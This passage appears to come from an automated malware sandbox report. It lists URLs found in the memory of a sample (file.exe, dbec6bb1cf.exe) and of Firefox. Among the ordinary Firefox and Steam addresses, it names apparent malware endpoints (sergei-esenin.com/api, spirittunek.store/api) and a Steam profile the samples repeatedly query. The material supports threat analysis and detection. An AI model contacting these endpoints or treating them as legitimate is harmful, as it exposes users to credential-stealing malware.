Source: firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.2806783110.0000014D51345000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D5487A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://reactjs.org/docs/error-decoder.html?invariant=
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://relay.firefox.com/api/v1/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001A.00000002.2845609380.0000014D56A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001A.00000002.2845609380.0000014D56A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001A.00000002.2845609380.0000014D56A48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51372000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.2814527928.0000014D548F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D548BA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.2839377042.0000014D56772000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: file.exe, 00000000.00000003.2255280486.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198294386.0000000000B72000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/
Source: file.exe, 00000000.00000003.2184185752.0000000000B2A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/&
Source: file.exe, 00000000.00000003.2226397549.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226367127.0000000000B73000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/4
Source: file.exe, file.exe, 00000000.00000003.2226397549.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2337549921.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197338181.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2255166252.0000000000B90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2241243430.0000000000B78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184185752.0000000000B2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2226367127.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172112855.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2255166252.0000000000B90000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/api2d
Source: file.exe, 00000000.00000003.2255166252.0000000000B90000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sergei-esenin.com/apiHdz
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001A.00000002.2807554240.0000014D51400000.00000002.00000001.00040000.0000001C.sdmp String found in binary or memory: https://snippets.mozilla.com/show/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://spirittunek.store:443/api
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000002.2826854859.0000014D55615000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2826854859.0000014D55605000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2825282252.0000014D552F2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000002.2861316139.0000014D5D3E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2814527928.0000014D5484E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5590C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2828008526.0000014D557C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D51303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829848680.0000014D55A45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steam.tv/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast.akamaized.net
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com
Source: dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/
Source: dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011C6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/%
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/H
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/discussions/
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/icro
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011AD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900.
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900s
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/workshop/
Source: dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001068000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2172112855.0000000000B2F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001076000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656565976.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011DF000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001076000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba2
Source: dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2161633424.0000000000B60000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/points/shop/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2172085778.0000000000B71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/steam_refunds/
